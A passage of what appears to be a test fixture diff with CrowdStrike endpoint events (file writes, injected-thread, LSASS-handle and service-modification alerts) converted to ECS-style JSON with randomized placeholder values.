"{\"FileOperatorSid\":\"S-96058-21257-98492\",\"ContextBaseFileName\":\"d3571e48e3804d61a8d8f51\",\"FileCategory\":\"1\",\"Size\":\"58518\",\"ContextThreadId\":\"60020000009454\",\"MinorFunction\":\"0\",\"aip\":\"216.160.83.56\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"f6d5e5fb805bf40c0b18541da19518120e0c8b72f04940a8\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\7f136004\\\\03bd69ab\",\"id\":\"162ec74e6e37e7616a81feca0a38cbc4e060\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"JarFileWritten\",\"ContextTimeStamp\":\"1762090431.810\",\"ConfigStateHash\":\"90089570\",\"ContextProcessId\":\"3097482600003\",\"IrpFlags\":\"0\",\"SHA256HashData\":\"c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503\",\"AuthenticationId\":\"830\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"66\",\"name\":\"45bc1cac0e68ad976\",\"OperationFlags\":\"0\",\"aid\":\"e8709208d980534971098b9a6fb8cf05\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\d598026\\\\d62f\\\\c337ca0.tmp_dir1745907951\\\\4fad1919.jar\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "device": "835\\7f136004\\03bd69ab", - "directory": "\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951", - "extension": "jar", - "hash": { - "sha256": "c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503" - }, - "inode": "f6d5e5fb805bf40c0b18541da19518120e0c8b72f04940a8", - "name": "4fad1919.jar", - "path": "\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\4fad1919.jar", - "size": 58518, - "type": "file" - }, - "host": { - "id": "e8709208d980534971098b9a6fb8cf05", - "os": { - "type": "windows" - } - }, - "message": "JarFileWritten", - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "e8709208d980534971098b9a6fb8cf05", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "3097482600003", - "name": "d3571e48e3804d61a8d8f51", - "thread": { - "id": 60020000009454 - } - }, - "related": { - "hash": [ - "c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503", - "90089570" - ], - "ip": [ - "216.160.83.56" - ], - "user": [ - "S-96058-21257-98492" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-96058-21257-98492" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "9006720370", - "ConfigStateHash": "3440491101", - "ContextBaseFileName": "939905f021b64c", - "ContextProcessId": "568260708421", - "ContextTimeStamp": "2025-06-20T15:55:17.905Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "36", - "EventOrigin": "1", - "FileCategory": "6", - "FileEcpBitmask": "0", - "FileObject": "0", - "FileOperatorSid": "S-93967-95057-39657-2269-87803-54839-16636", - "FileWrittenFlags": "0", - "IrpFlags": "0", - "IsOnNetwork": "0", - "IsOnRemovableDisk": "0", - "MajorFunction": "0", - "MinorFunction": "0", - "OperationFlags": "0", - "TokenType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "f1d9633f3c4c1752450748ee02e070b772d4", - "name": "f5ccfb1a5e748e3a1361b9" - }, - "device": { - "id": "2a5a4e5c2a642c985c06f8a712f54c03" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "f1d9633f3c4c1752450748ee02e070b772d4|2a5a4e5c2a642c985c06f8a712f54c03|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"FileOperatorSid\":\"S-93967-95057-39657-2269-87803-54839-16636\",\"ContextBaseFileName\":\"939905f021b64c\",\"FileCategory\":\"6\",\"Size\":\"5007\",\"MinorFunction\":\"0\",\"ContextThreadId\":\"67010543097020\",\"aip\":\"81.2.69.192\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"f9187305c797616a091da12f20ae9d2efa91b48088627f5e\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\b9e65ff8\\\\fb6901a4\",\"id\":\"f1d9633f3c4c1752450748ee02e070b772d4\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"JavaClassFileWritten\",\"ContextTimeStamp\":\"1750434917.905\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"568260708421\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"9006720370\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"36\",\"name\":\"f5ccfb1a5e748e3a1361b9\",\"OperationFlags\":\"0\",\"aid\":\"2a5a4e5c2a642c985c06f8a712f54c03\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\3edfbf1f\\\\77d9dc83\\\\6f9505f\\\\d6c5e3b\\\\d199e12\\\\bba61ca6\\\\2d931c68.class\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "device": "835\\b9e65ff8\\fb6901a4", - "directory": "\\6ba0bd\\3edfbf1f\\77d9dc83\\6f9505f\\d6c5e3b\\d199e12\\bba61ca6", - "extension": "class", - "inode": "f9187305c797616a091da12f20ae9d2efa91b48088627f5e", - "name": "2d931c68.class", - "path": "\\6ba0bd\\3edfbf1f\\77d9dc83\\6f9505f\\d6c5e3b\\d199e12\\bba61ca6\\2d931c68.class", - "size": 5007, - "type": "file" - }, - "host": { - "id": "2a5a4e5c2a642c985c06f8a712f54c03", - "os": { - "type": "windows" - } - }, - "message": "JavaClassFileWritten", - "observer": { - "address": [ - "81.2.69.192" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.192" - ], - "serial_number": "2a5a4e5c2a642c985c06f8a712f54c03", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "568260708421", - "name": "939905f021b64c", - "thread": { - "id": 67010543097020 - } - }, - "related": { - "hash": [ - "3440491101" - ], - "ip": [ - "81.2.69.192" - ], - "user": [ - "S-93967-95057-39657-2269-87803-54839-16636" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-93967-95057-39657-2269-87803-54839-16636" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "1080600092", - "ContextProcessId": "210000852854060", - "ContextTimeStamp": "2025-06-23T20:59:30.441Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "36", - "EventOrigin": "1", - "InjectedThreadFlag": "940", - "RawThreadId": "50455", - "SourceThreadStartAddress": "270106100035044", - "TargetThreadId": "8976303018009002", - "ThreadStartAddress": "7506925004555", - "ThreadStartBytes": "9ccbd43213c4cce128ebb1afece9b6e1fc1fa5975d32a036fd154b43248f43de", - "ThreadStartContext": "7031100880000", - "UserThread": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "5c016fbc5910db79ac911556c19d9efb88c6", - "name": "cad7121649b58818d895" - }, - "device": { - "id": "2278e50b41a263c2d8421b5135a380a7" - }, - "event": { - "action": "JavaInjectedThread", - "category": [ - "process" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "5c016fbc5910db79ac911556c19d9efb88c6|2278e50b41a263c2d8421b5135a380a7|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ThreadStartAddress\":\"7506925004555\",\"InjectedThreadFlag\":\"940\",\"ContextThreadId\":\"7029002010518039\",\"aip\":\"216.160.83.56\",\"event_platform\":\"Win\",\"UserThread\":\"1\",\"EventOrigin\":\"1\",\"id\":\"5c016fbc5910db79ac911556c19d9efb88c6\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"JavaInjectedThread\",\"TargetThreadId\":\"8976303018009002\",\"RawProcessId\":\"60037\",\"ThreadStartBytes\":\"9ccbd43213c4cce128ebb1afece9b6e1fc1fa5975d32a036fd154b43248f43de\",\"ContextTimeStamp\":\"1750712370.441\",\"ConfigStateHash\":\"1080600092\",\"ContextProcessId\":\"210000852854060\",\"ThreadStartContext\":\"7031100880000\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"800000030087834\",\"Entitlements\":\"36\",\"name\":\"cad7121649b58818d895\",\"RawThreadId\":\"50455\",\"aid\":\"2278e50b41a263c2d8421b5135a380a7\",\"SourceThreadStartAddress\":\"270106100035044\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "2278e50b41a263c2d8421b5135a380a7", - "os": { - "type": "windows" - } - }, - "message": "JavaInjectedThread", - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "2278e50b41a263c2d8421b5135a380a7", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "800000030087834", - "pid": 60037, - "thread": { - "id": 7029002010518039 - } - }, - "related": { - "hash": [ - "1080600092" - ], - "ip": [ - "216.160.83.56" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AccessType": "4", - "AddressFamily": "0", - "AdminStatus": "2", - "BaseReachableTime": "0", - "ConfigStateHash": "9968901000", - "ConnectionType": "1", - "DadState": "0", - "DadTransmits": "0", - "DirectionType": "0", - "EffectiveTransmissionClass": "2", - "Entitlements": "86", - "EventOrigin": "1", - "IfType": "0", - "InBroadcastOctets": "0", - "InDiscards": "0", - "InErrors": "0", - "InMulticastOctets": "0", - "InNUcastPkts": "0", - "InOctets": "0", - "InUcastOctets": "0", - "InUcastPkts": "0", - "InUnknownProtos": "0", - "InterfaceAlias": "937aad95bcccd8cfa1a93b7bb9c5a2ead", - "InterfaceDescription": "f59e6603c99b77bc826e67f3133aa91ba4", - "InterfaceFlags": "0", - "InterfaceIdentifier": "0", - "InterfaceIndex": 0, - "InterfaceMtu": "9560", - "InterfaceType": "0", - "IpEntryFlags": "0", - "LinkLocalAddressBehavior": "0", - "LinkLocalAddressTimeout": "0", - "LocalAddressIP6": [ - "2a02:cf40::1" - ], - "LocalIpAddressPipelineSource": "6", - "MaxReassemblySize": "0", - "MaxRouterAdvertisementInterval": "0", - "MediaConnectState": "0", - "MediaType": "46", - "Metric": "0", - "MinRouterAdvertisementInterval": "0", - "NetLuidIndex": 0, - "NetworkGuid": "76f651e25d18ba610cf7770da4e745f9886b", - "NetworkInterfaceGuid": "c5b6c77ed6710604982c8df8956c7d308373", - "NlMtu": "0", - "OnLinkPrefixLength": "0", - "OperStatus": "2", - "OutBroadcastOctets": "0", - "OutDiscards": "0", - "OutErrors": "0", - "OutMulticastOctets": "0", - "OutNUcastPkts": "0", - "OutOctets": "0", - "OutUcastOctets": "0", - "OutUcastPkts": "0", - "PathMtuDiscoveryTimeout": "0", - "PermanentPhysicalAddress": "84-83-02-18-52-28-63-e2-04-16-69-91-78-74-82-30-57-61-38-46-31-03-72-60-27-38-22-88-69-31-67-60", - "PhysicalAddressLength": 72, - "PhysicalMediumType": "0", - "PreferredLifetime": "0", - "PrefixLength": "0", - "PrefixOrigin": "0", - "ReachableTime": "0", - "ReceiveLinkSpeed": "300785", - "RetransmitTime": "0", - "RouteAge": "0", - "RouteMetric": "0", - "RouteOrigin": "0", - "RouterDiscoveryBehavior": "0", - "ScopeLevel": "0", - "ScopeZone": "0", - "SitePrefixLength": "0", - "SkipAsSource": "0", - "SuffixOrigin": "0", - "TransmitLinkSpeed": "300785", - "TunnelType": "0", - "ValidLifetime": "0", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "b1ba5664a59d4ed815268b354ba0a8ca20f4", - "name": "a01d5ce18dcbf077bc4" - }, - "device": { - "id": "8b33228d110f333bb96bb91288f6d8ad" - }, - "event": { - "action": "LocalIpAddressIP6", - "category": [ - "configuration", - "host" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "b1ba5664a59d4ed815268b354ba0a8ca20f4|8b33228d110f333bb96bb91288f6d8ad|4092825518eaf67377a6e4492ae44577", - "kind": "state", - "original": "{\"ValidLifetime\":\"0\",\"OutOctets\":\"0\",\"MaxReassemblySize\":\"0\",\"MediaConnectState\":\"0\",\"InterfaceMtu\":\"9560\",\"NlMtu\":\"0\",\"NetworkGuid\":\"76f651e25d18ba610cf7770da4e745f9886b\",\"InterfaceAlias\":\"937aad95bcccd8cfa1a93b7bb9c5a2ead\",\"InDiscards\":\"0\",\"InBroadcastOctets\":\"0\",\"InterfaceIndex\":\"0\",\"InterfaceFlags\":\"0\",\"PermanentPhysicalAddress\":\"84-83-02-18-52-28-63-e2-04-16-69-91-78-74-82-30-57-61-38-46-31-03-72-60-27-38-22-88-69-31-67-60\",\"DadState\":\"0\",\"InterfaceType\":\"0\",\"MinRouterAdvertisementInterval\":\"0\",\"EventOrigin\":\"1\",\"MediaType\":\"46\",\"id\":\"b1ba5664a59d4ed815268b354ba0a8ca20f4\",\"AddressFamily\":\"0\",\"LocalIpAddressPipelineSource\":\"6\",\"ReceiveLinkSpeed\":\"300785\",\"AccessType\":\"4\",\"event_simpleName\":\"LocalIpAddressIP6\",\"PathMtuDiscoveryTimeout\":\"0\",\"OutDiscards\":\"0\",\"LocalAddressIP6\":\"2a02:cf40::1\",\"IpEntryFlags\":\"0\",\"PreferredLifetime\":\"0\",\"ConnectionType\":\"1\",\"DadTransmits\":\"0\",\"OperStatus\":\"2\",\"PhysicalAddress\":\"99-24-19-28-16-80-11-f3-87-25-11-47-34-01-86-69-80-62-83-83-76-34-14-74-17-18-88-22-65-31-79-46\",\"RouteOrigin\":\"0\",\"InUnknownProtos\":\"0\",\"OutErrors\":\"0\",\"DirectionType\":\"0\",\"InOctets\":\"0\",\"Entitlements\":\"86\",\"name\":\"a01d5ce18dcbf077bc4\",\"RouteAge\":\"0\",\"InUcastOctets\":\"0\",\"aid\":\"8b33228d110f333bb96bb91288f6d8ad\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"IfType\":\"0\",\"OutUcastOctets\":\"0\",\"RetransmitTime\":\"0\",\"SuffixOrigin\":\"0\",\"InMulticastOctets\":\"0\",\"OutBroadcastOctets\":\"0\",\"CreationTimeStamp\":\"\",\"LinkLocalAddressBehavior\":\"0\",\"aip\":\"89.160.20.112\",\"BaseReachableTime\":\"0\",\"InErrors\":\"0\",\"RouterDiscoveryBehavior\":\"0\",\"LinkLocalAddressTimeout\":\"0\",\"RouteMetric\":\"0\",\"event_platform\":\"Win\",\"SitePrefixLength\":\"0\",\"TransmitLinkSpeed\":\"300785\",\"PhysicalAddressLength\":\"72\",\"InUcastPkts\":\"0\",\"EffectiveTransmissionClass\":\"2\",\"PrefixOrigin\":\"0\",\"timestamp\":\"1743508799999\",\"SkipAsSource\":\"0\",\"AdminStatus\":\"2\",\"OnLinkPrefixLength\":\"0\",\"TunnelType\":\"0\",\"ConfigStateHash\":\"9968901000\",\"InterfaceDescription\":\"f59e6603c99b77bc826e67f3133aa91ba4\",\"InterfaceIdentifier\":\"0\",\"ScopeLevel\":\"0\",\"PrefixLength\":\"0\",\"OutUcastPkts\":\"0\",\"NetworkInterfaceGuid\":\"c5b6c77ed6710604982c8df8956c7d308373\",\"ScopeZone\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"PhysicalMediumType\":\"0\",\"NetLuidIndex\":\"0\",\"InNUcastPkts\":\"0\",\"MaxRouterAdvertisementInterval\":\"0\",\"Metric\":\"0\",\"ReachableTime\":\"0\",\"OutMulticastOctets\":\"0\",\"OutNUcastPkts\":\"0\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "8b33228d110f333bb96bb91288f6d8ad", - "os": { - "type": "windows" - } - }, - "message": "LocalIpAddressIP6", - "observer": { - "address": [ - "89.160.20.112" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.112" - ], - "serial_number": "8b33228d110f333bb96bb91288f6d8ad", - "version": "2c8b.4.ae3729d.e6" - }, - "related": { - "hash": [ - "9968901000" - ], - "ip": [ - "89.160.20.112", - "2a02:cf40::1" - ] - }, - "source": { - "address": "2a02:cf40::1", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40::1", - "mac": "99-24-19-28-16-80-11-F3-87-25-11-47-34-01-86-69-80-62-83-83-76-34-14-74-17-18-88-22-65-31-79-46" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "9968901000", - "EffectiveTransmissionClass": "3", - "Entitlements": "76", - "EventOrigin": "1", - "InterfaceIndex": 0, - "LocalAddressIP6": [ - "2a02:cf40::2" - ], - "LocalIpAddressPipelineSource": "6", - "NetLuidIndex": 0, - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "46389a39e57e9b858db2074d5f94ec7a526d", - "name": "872932933dab2f183b4ce071bd" - }, - "device": { - "id": "8b33228d110f333bb96bb91288f6d8ad" - }, - "event": { - "action": "LocalIpAddressRemovedIP6", - "category": [ - "configuration", - "host" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "46389a39e57e9b858db2074d5f94ec7a526d|8b33228d110f333bb96bb91288f6d8ad|4092825518eaf67377a6e4492ae44577", - "kind": "state", - "original": "{\"event_simpleName\":\"LocalIpAddressRemovedIP6\",\"LocalAddressIP6\":\"2a02:cf40::2\",\"ConfigStateHash\":\"9968901000\",\"aip\":\"89.160.20.128\",\"InterfaceIndex\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"NetLuidIndex\":\"0\",\"Entitlements\":\"76\",\"name\":\"872932933dab2f183b4ce071bd\",\"EventOrigin\":\"1\",\"id\":\"46389a39e57e9b858db2074d5f94ec7a526d\",\"LocalIpAddressPipelineSource\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"8b33228d110f333bb96bb91288f6d8ad\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "8b33228d110f333bb96bb91288f6d8ad", - "os": { - "type": "windows" - } - }, - "message": "LocalIpAddressRemovedIP6", - "observer": { - "address": [ - "89.160.20.128" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.128" - ], - "serial_number": "8b33228d110f333bb96bb91288f6d8ad", - "version": "2c8b.4.ae3729d.e6" - }, - "related": { - "hash": [ - "9968901000" - ], - "ip": [ - "89.160.20.128", - "2a02:cf40::2" - ] - }, - "source": { - "address": "2a02:cf40::2", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40::2" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "3440491101", - "ContextProcessId": "617055030004", - "ContextTimeStamp": "2025-07-13T19:07:50.075Z", - "DesiredAccess": "2336", - "EffectiveTransmissionClass": "3", - "Entitlements": "66", - "EventOrigin": "1", - "ExtendedKeyUsages": "1", - "FileSigningTime": "1696360530.000", - "HandleCreated": "0", - "Object1Type": "85300006300503060726", - "PublicKeys": "0", - "SHA256HashData": "7b289396ef4bdcf4e4c3d55c81c2090a8735fa93c9a58e5c538ae65e58a1b243", - "SignInfoFlags": "932000", - "Status": "0", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "6fa27f66ec6a05ff162d3ee4962108a1518e", - "name": "a94954f7ef7b687d2b265ac33c34fe0" - }, - "device": { - "id": "84bd7271911c13b227952666802a3e71" - }, - "event": { - "action": "LsassHandleFromUnsignedModule", - "category": [ - "process" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "6fa27f66ec6a05ff162d3ee4962108a1518e|84bd7271911c13b227952666802a3e71|4092825518eaf67377a6e4492ae44577", - "kind": "alert", - "original": "{\"ContextThreadId\":\"53282469092040\",\"aip\":\"81.2.69.142\",\"PublicKeys\":\"0\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"6fa27f66ec6a05ff162d3ee4962108a1518e\",\"HandleCreated\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"LsassHandleFromUnsignedModule\",\"ContextTimeStamp\":\"1752433670.075\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"617055030004\",\"SHA256HashData\":\"7b289396ef4bdcf4e4c3d55c81c2090a8735fa93c9a58e5c538ae65e58a1b243\",\"ExtendedKeyUsages\":\"1\",\"FileSigningTime\":\"1696360530.000\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"Object1Name\":\"\",\"TargetProcessId\":\"330096244003\",\"DesiredAccess\":\"2336\",\"ImageFileName\":\"\\\\6ba0bd\\\\6cf19058\\\\9134161b\\\\4b9430\\\\6cf901c9\\\\d89a3e44.exe\",\"Entitlements\":\"66\",\"name\":\"a94954f7ef7b687d2b265ac33c34fe0\",\"aid\":\"84bd7271911c13b227952666802a3e71\",\"SignInfoFlags\":\"932000\",\"Object1Type\":\"85300006300503060726\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"Certificate\":\"\"}", - "outcome": "unknown", - "type": [ - "change" - ] - }, - "host": { - "id": "84bd7271911c13b227952666802a3e71", - "os": { - "type": "windows" - } - }, - "message": "LsassHandleFromUnsignedModule", - "observer": { - "address": [ - "81.2.69.142" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.142" - ], - "serial_number": "84bd7271911c13b227952666802a3e71", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "330096244003", - "executable": "\\6ba0bd\\6cf19058\\9134161b\\4b9430\\6cf901c9\\d89a3e44.exe", - "name": "d89a3e44.exe", - "thread": { - "id": 53282469092040 - } - }, - "related": { - "hash": [ - "7b289396ef4bdcf4e4c3d55c81c2090a8735fa93c9a58e5c538ae65e58a1b243", - "3440491101" - ], - "ip": [ - "81.2.69.142" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "8200073020", - "ContextProcessId": "603000080603277383", - "ContextTimeStamp": "2025-09-18T04:54:08.217Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "16", - "EventOrigin": "1", - "ServiceDescription": "4329d830\\4a6a0a4b\\4b8e4186.dll,-101", - "ServiceErrorControl": "1", - "ServiceFailureActions": "370906160706958900210000200600006090810303901200700052903087003011111111", - "ServiceImagePath": "6d7f6dfd4f514f59d14a90da6a661a3 -2 d140261e9173 -5", - "ServiceSecurity": "1c31d/23092a59", - "ServiceStart": "3", - "ServiceType": "840", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "f65e6994cc640f2778a1b7af2c40ba921473", - "name": "381f30fed8ec4c276ba29" - }, - "device": { - "id": "c82cce517ab3200fde3ca362e648c993" - }, - "event": { - "action": "ModifyServiceBinary", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "f65e6994cc640f2778a1b7af2c40ba921473|c82cce517ab3200fde3ca362e648c993|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"ModifyServiceBinary\",\"ContextTimeStamp\":\"1758171248.217\",\"ConfigStateHash\":\"8200073020\",\"ContextProcessId\":\"603000080603277383\",\"ServiceDescription\":\"4329d830\\\\4a6a0a4b\\\\4b8e4186.dll,-101\",\"ContextThreadId\":\"108300250532070103\",\"aip\":\"216.160.83.56\",\"ServiceSecurity\":\"1c31d/23092a59\",\"ServiceImagePath\":\"6d7f6dfd4f514f59d14a90da6a661a3 -2 d140261e9173 -5\",\"ServiceDisplayName\":\"7a476391b5908bfed8e3c37\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"ServiceStart\":\"3\",\"ServiceType\":\"840\",\"Entitlements\":\"16\",\"name\":\"381f30fed8ec4c276ba29\",\"EventOrigin\":\"1\",\"ServiceFailureActions\":\"370906160706958900210000200600006090810303901200700052903087003011111111\",\"id\":\"f65e6994cc640f2778a1b7af2c40ba921473\",\"ServiceErrorControl\":\"1\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"c82cce517ab3200fde3ca362e648c993\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "unknown", - "type": [ - "change" - ] - }, - "host": { - "id": "c82cce517ab3200fde3ca362e648c993", - "os": { - "type": "windows" - } - }, - "message": "ModifyServiceBinary", - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "c82cce517ab3200fde3ca362e648c993", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "603000080603277383", - "thread": { - "id": 108300250532070103 - }, - "title": "7a476391b5908bfed8e3c37" - }, - "related": { - "hash": [ - "8200073020" - ], - "ip": [ - "216.160.83.56" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "830", - "ConfigStateHash": "8602068629", - "ContextProcessId": "409640218507", - "ContextTimeStamp": "2025-08-25T08:34:59.866Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "26", - "EventOrigin": "1", - "InterfaceGuid": "6934fcb718b8c1c32c1f9fbbd4bc4e6c7a0c", - "InterfaceVersion": "230092", - "RpcClientProcessId": "400050400700", - "RpcNestingLevel": "0", - "RpcOpNum": "45", - "ShareName": "cb8652cba4df7f900", - "ShareSecurity": "1c31d/825bda18", - "ShareSecuritySddl": "1c31d/aeb465b9", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "c805aeef64230eaf7cd53c8a881aa4e8405a", - "name": "e6b491ccab8fa73b85131f75" - }, - "device": { - "id": "3daf1fabea580837c4adcda08036d084" - }, - "event": { - "action": "NetShareSecurityModify", - "category": [ - "configuration" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "c805aeef64230eaf7cd53c8a881aa4e8405a|3daf1fabea580837c4adcda08036d084|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ContextThreadId\":\"28260411703000\",\"aip\":\"216.160.83.56\",\"ShareName\":\"cb8652cba4df7f900\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"6934fcb718b8c1c32c1f9fbbd4bc4e6c7a0c\",\"RpcClientProcessId\":\"400050400700\",\"id\":\"c805aeef64230eaf7cd53c8a881aa4e8405a\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"NetShareSecurityModify\",\"ContextTimeStamp\":\"1756110899.866\",\"UserName\":\"5f112a78ce366\",\"ConfigStateHash\":\"8602068629\",\"ContextProcessId\":\"409640218507\",\"InterfaceVersion\":\"230092\",\"AuthenticationId\":\"830\",\"ShareSecurity\":\"1c31d/825bda18\",\"ConfigBuild\":\"2c8b.4.a5bcbac.e6\",\"RpcOpNum\":\"45\",\"Entitlements\":\"26\",\"name\":\"e6b491ccab8fa73b85131f75\",\"aid\":\"3daf1fabea580837c4adcda08036d084\",\"ShareSecuritySddl\":\"1c31d/aeb465b9\",\"Rp